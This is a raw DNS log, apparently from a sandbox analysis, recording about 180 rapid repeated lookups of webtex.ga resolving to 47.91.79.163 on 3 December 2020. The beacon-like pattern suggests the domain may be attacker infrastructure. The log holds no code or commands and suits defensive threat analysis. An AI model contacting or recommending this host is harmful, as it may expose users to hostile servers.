Dec 3, 2020 10:02:28.898961067 CET	8.8.8.8	192.168.2.3	0x9dc0	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:29.270814896 CET	8.8.8.8	192.168.2.3	0xcbcc	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:29.589957952 CET	8.8.8.8	192.168.2.3	0xc90e	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:30.129522085 CET	8.8.8.8	192.168.2.3	0xf2d3	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:30.754401922 CET	8.8.8.8	192.168.2.3	0x8338	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:31.097273111 CET	8.8.8.8	192.168.2.3	0x6d5	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:31.500906944 CET	8.8.8.8	192.168.2.3	0x9e60	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:31.806010008 CET	8.8.8.8	192.168.2.3	0xd5d3	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:32.129793882 CET	8.8.8.8	192.168.2.3	0x74e9	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:32.452068090 CET	8.8.8.8	192.168.2.3	0x6a4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:32.744071007 CET	8.8.8.8	192.168.2.3	0xd74	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:33.043495893 CET	8.8.8.8	192.168.2.3	0x5d50	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:33.364901066 CET	8.8.8.8	192.168.2.3	0x1da8	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:33.682089090 CET	8.8.8.8	192.168.2.3	0x8589	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:34.035439014 CET	8.8.8.8	192.168.2.3	0x7eab	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:34.341048002 CET	8.8.8.8	192.168.2.3	0xf473	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:34.806020975 CET	8.8.8.8	192.168.2.3	0x35ee	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:35.222217083 CET	8.8.8.8	192.168.2.3	0xce9d	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:36.007853985 CET	8.8.8.8	192.168.2.3	0x6755	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:36.291889906 CET	8.8.8.8	192.168.2.3	0x9615	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:36.752609968 CET	8.8.8.8	192.168.2.3	0xa2f9	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:38.533613920 CET	8.8.8.8	192.168.2.3	0x88f3	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:38.853271961 CET	8.8.8.8	192.168.2.3	0x42fb	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:39.181564093 CET	8.8.8.8	192.168.2.3	0xb789	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:39.515683889 CET	8.8.8.8	192.168.2.3	0x5b0f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:39.829411030 CET	8.8.8.8	192.168.2.3	0xc726	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:40.145191908 CET	8.8.8.8	192.168.2.3	0xd319	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:40.442272902 CET	8.8.8.8	192.168.2.3	0xc211	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:40.741365910 CET	8.8.8.8	192.168.2.3	0xdd07	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:41.062978029 CET	8.8.8.8	192.168.2.3	0x8454	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:41.397211075 CET	8.8.8.8	192.168.2.3	0x1398	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:41.705841064 CET	8.8.8.8	192.168.2.3	0x70e5	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:42.011847019 CET	8.8.8.8	192.168.2.3	0x7f1f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:42.305793047 CET	8.8.8.8	192.168.2.3	0x3748	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:42.631668091 CET	8.8.8.8	192.168.2.3	0x1726	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:42.955840111 CET	8.8.8.8	192.168.2.3	0x602d	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:43.260128975 CET	8.8.8.8	192.168.2.3	0x24eb	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:43.588223934 CET	8.8.8.8	192.168.2.3	0x238d	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:43.908668041 CET	8.8.8.8	192.168.2.3	0x9a51	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:44.228200912 CET	8.8.8.8	192.168.2.3	0xe7c4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:44.629713058 CET	8.8.8.8	192.168.2.3	0x65e4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:44.999114037 CET	8.8.8.8	192.168.2.3	0x70f3	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:45.340262890 CET	8.8.8.8	192.168.2.3	0xbe0d	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:45.668576002 CET	8.8.8.8	192.168.2.3	0x4443	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:45.985465050 CET	8.8.8.8	192.168.2.3	0x44ad	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:46.299807072 CET	8.8.8.8	192.168.2.3	0x21bd	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:46.599189997 CET	8.8.8.8	192.168.2.3	0x55dd	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:46.919864893 CET	8.8.8.8	192.168.2.3	0x5c7c	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:47.186382055 CET	8.8.8.8	192.168.2.3	0x2b96	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:47.486779928 CET	8.8.8.8	192.168.2.3	0xf13c	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:47.792609930 CET	8.8.8.8	192.168.2.3	0xca9d	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:48.110110044 CET	8.8.8.8	192.168.2.3	0xa946	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:48.409198999 CET	8.8.8.8	192.168.2.3	0xbab1	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:48.692008972 CET	8.8.8.8	192.168.2.3	0xe678	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:48.980655909 CET	8.8.8.8	192.168.2.3	0xe05f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:49.267726898 CET	8.8.8.8	192.168.2.3	0x7be3	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:49.564949036 CET	8.8.8.8	192.168.2.3	0x5ed8	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:50.039614916 CET	8.8.8.8	192.168.2.3	0xa25	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:50.339246988 CET	8.8.8.8	192.168.2.3	0x3f42	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:50.644004107 CET	8.8.8.8	192.168.2.3	0x58ce	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:50.950619936 CET	8.8.8.8	192.168.2.3	0x2a57	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:51.238410950 CET	8.8.8.8	192.168.2.3	0x9cca	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:51.510412931 CET	8.8.8.8	192.168.2.3	0x2077	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:51.827558994 CET	8.8.8.8	192.168.2.3	0x99f5	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:52.104988098 CET	8.8.8.8	192.168.2.3	0x8296	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:52.420568943 CET	8.8.8.8	192.168.2.3	0x8f91	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:52.753354073 CET	8.8.8.8	192.168.2.3	0x3392	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:53.084618092 CET	8.8.8.8	192.168.2.3	0xa6ed	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:53.439642906 CET	8.8.8.8	192.168.2.3	0x4d4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:53.727933884 CET	8.8.8.8	192.168.2.3	0xb873	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:54.092657089 CET	8.8.8.8	192.168.2.3	0xa277	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:54.383914948 CET	8.8.8.8	192.168.2.3	0xd645	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:54.660371065 CET	8.8.8.8	192.168.2.3	0x1694	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:55.292409897 CET	8.8.8.8	192.168.2.3	0x7c88	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:55.669667006 CET	8.8.8.8	192.168.2.3	0xa1c1	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:57.143070936 CET	8.8.8.8	192.168.2.3	0x8e9c	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:57.488672018 CET	8.8.8.8	192.168.2.3	0xfea6	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:57.888547897 CET	8.8.8.8	192.168.2.3	0x3f28	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:58.201248884 CET	8.8.8.8	192.168.2.3	0x1e87	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:58.506773949 CET	8.8.8.8	192.168.2.3	0x7da4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:58.794132948 CET	8.8.8.8	192.168.2.3	0x26b0	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:59.090637922 CET	8.8.8.8	192.168.2.3	0x41a9	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:59.359818935 CET	8.8.8.8	192.168.2.3	0x1b27	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:59.656177998 CET	8.8.8.8	192.168.2.3	0x9482	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:59.950726032 CET	8.8.8.8	192.168.2.3	0x4379	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:00.243922949 CET	8.8.8.8	192.168.2.3	0x59c6	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:01.549401045 CET	8.8.8.8	192.168.2.3	0x15e8	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:01.989443064 CET	8.8.8.8	192.168.2.3	0x2857	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:02.292546034 CET	8.8.8.8	192.168.2.3	0x34c8	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:02.592231035 CET	8.8.8.8	192.168.2.3	0xae95	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:02.866249084 CET	8.8.8.8	192.168.2.3	0xcd57	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:03.134548903 CET	8.8.8.8	192.168.2.3	0xc3ff	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:03.480504990 CET	8.8.8.8	192.168.2.3	0x54f1	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:03.831958055 CET	8.8.8.8	192.168.2.3	0xb71b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:04.087317944 CET	8.8.8.8	192.168.2.3	0x6edf	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:04.367944956 CET	8.8.8.8	192.168.2.3	0x832a	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:04.873424053 CET	8.8.8.8	192.168.2.3	0xd28e	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:05.167690992 CET	8.8.8.8	192.168.2.3	0x355	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:05.561676025 CET	8.8.8.8	192.168.2.3	0x2882	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:06.026559114 CET	8.8.8.8	192.168.2.3	0x43df	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:06.298940897 CET	8.8.8.8	192.168.2.3	0x803e	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:06.958455086 CET	8.8.8.8	192.168.2.3	0x95f7	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:07.223416090 CET	8.8.8.8	192.168.2.3	0xba9f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:07.492100954 CET	8.8.8.8	192.168.2.3	0xc3ec	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:07.793365002 CET	8.8.8.8	192.168.2.3	0x5723	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:08.097146988 CET	8.8.8.8	192.168.2.3	0x28a	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:08.369294882 CET	8.8.8.8	192.168.2.3	0x8aef	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:08.667260885 CET	8.8.8.8	192.168.2.3	0x4a5c	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:08.949558973 CET	8.8.8.8	192.168.2.3	0xeeba	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:09.237628937 CET	8.8.8.8	192.168.2.3	0x52ff	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:09.530018091 CET	8.8.8.8	192.168.2.3	0x64a0	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:09.815169096 CET	8.8.8.8	192.168.2.3	0xbdd8	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:10.270598888 CET	8.8.8.8	192.168.2.3	0x220b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:10.656408072 CET	8.8.8.8	192.168.2.3	0xb11b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:11.050388098 CET	8.8.8.8	192.168.2.3	0x8a65	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:11.529567957 CET	8.8.8.8	192.168.2.3	0x3590	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:11.795329094 CET	8.8.8.8	192.168.2.3	0x82c7	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:12.168389082 CET	8.8.8.8	192.168.2.3	0x460b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:12.471132994 CET	8.8.8.8	192.168.2.3	0x7c2a	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:12.840190887 CET	8.8.8.8	192.168.2.3	0xf60b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:13.116857052 CET	8.8.8.8	192.168.2.3	0x220e	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:13.969163895 CET	8.8.8.8	192.168.2.3	0xd70e	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:15.802970886 CET	8.8.8.8	192.168.2.3	0x51d9	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:16.248004913 CET	8.8.8.8	192.168.2.3	0xf658	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:16.686774969 CET	8.8.8.8	192.168.2.3	0xe36d	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:17.101861954 CET	8.8.8.8	192.168.2.3	0xf6a	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:17.576236963 CET	8.8.8.8	192.168.2.3	0xb93	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:18.257051945 CET	8.8.8.8	192.168.2.3	0x663f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:19.004000902 CET	8.8.8.8	192.168.2.3	0x4f9	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:19.347383022 CET	8.8.8.8	192.168.2.3	0x6067	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:19.852605104 CET	8.8.8.8	192.168.2.3	0xc41f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:20.141608000 CET	8.8.8.8	192.168.2.3	0x67b4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:20.612430096 CET	8.8.8.8	192.168.2.3	0xc411	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:20.892046928 CET	8.8.8.8	192.168.2.3	0x135f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:21.386265039 CET	8.8.8.8	192.168.2.3	0x7c7a	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:21.965183020 CET	8.8.8.8	192.168.2.3	0x7a9b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:22.239182949 CET	8.8.8.8	192.168.2.3	0x2061	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:22.737561941 CET	8.8.8.8	192.168.2.3	0x9a2d	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:23.001060009 CET	8.8.8.8	192.168.2.3	0x5736	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:23.506064892 CET	8.8.8.8	192.168.2.3	0x2777	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:23.999000072 CET	8.8.8.8	192.168.2.3	0x10d0	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:24.656239986 CET	8.8.8.8	192.168.2.3	0xb2fc	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:25.160573959 CET	8.8.8.8	192.168.2.3	0xf47f	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:25.638206959 CET	8.8.8.8	192.168.2.3	0xc2de	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:26.166709900 CET	8.8.8.8	192.168.2.3	0x2c89	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:26.777601957 CET	8.8.8.8	192.168.2.3	0xec75	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:27.047732115 CET	8.8.8.8	192.168.2.3	0x37fe	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:27.569431067 CET	8.8.8.8	192.168.2.3	0xee9	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:28.079176903 CET	8.8.8.8	192.168.2.3	0x268c	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:28.347884893 CET	8.8.8.8	192.168.2.3	0xa636	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:28.974086046 CET	8.8.8.8	192.168.2.3	0xb2a4	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:29.239267111 CET	8.8.8.8	192.168.2.3	0xcf41	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:29.883810997 CET	8.8.8.8	192.168.2.3	0x19d2	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:30.455344915 CET	8.8.8.8	192.168.2.3	0x4f6b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:30.967179060 CET	8.8.8.8	192.168.2.3	0xe5a7	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:31.238079071 CET	8.8.8.8	192.168.2.3	0x22c0	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:31.728187084 CET	8.8.8.8	192.168.2.3	0x1998	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:31.992304087 CET	8.8.8.8	192.168.2.3	0xbd1b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:32.580051899 CET	8.8.8.8	192.168.2.3	0x5335	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:32.841048956 CET	8.8.8.8	192.168.2.3	0x235e	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:33.414453983 CET	8.8.8.8	192.168.2.3	0xccc0	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:33.915010929 CET	8.8.8.8	192.168.2.3	0xc68e	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:34.424179077 CET	8.8.8.8	192.168.2.3	0xdef7	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:34.920726061 CET	8.8.8.8	192.168.2.3	0xfaf1	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:35.481955051 CET	8.8.8.8	192.168.2.3	0xa930	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:36.018115044 CET	8.8.8.8	192.168.2.3	0xea6e	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:36.585150003 CET	8.8.8.8	192.168.2.3	0x7bf5	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:37.073591948 CET	8.8.8.8	192.168.2.3	0xeb1b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:37.612159967 CET	8.8.8.8	192.168.2.3	0x58c7	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:38.116751909 CET	8.8.8.8	192.168.2.3	0x8c94	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:38.593563080 CET	8.8.8.8	192.168.2.3	0xf10d	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:39.132040977 CET	8.8.8.8	192.168.2.3	0x640d	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:39.660496950 CET	8.8.8.8	192.168.2.3	0x2773	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:39.990310907 CET	8.8.8.8	192.168.2.3	0x1327	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:40.385514975 CET	8.8.8.8	192.168.2.3	0xb392	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:40.670334101 CET	8.8.8.8	192.168.2.3	0xd79c	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:40.944808006 CET	8.8.8.8	192.168.2.3	0x2d9b	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:41.237742901 CET	8.8.8.8	192.168.2.3	0x2b7d	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:41.528228045 CET	8.8.8.8	192.168.2.3	0x9e39	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:41.815978050 CET	8.8.8.8	192.168.2.3	0xbac6	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:42.105398893 CET	8.8.8.8	192.168.2.3	0x91f1	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:42.772661924 CET	8.8.8.8	192.168.2.3	0xabc8	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:43.073678017 CET	8.8.8.8	192.168.2.3	0x1b62	No error (0)	webtex.ga	47.91.79.163	A (IP address)	IN (0x0001)
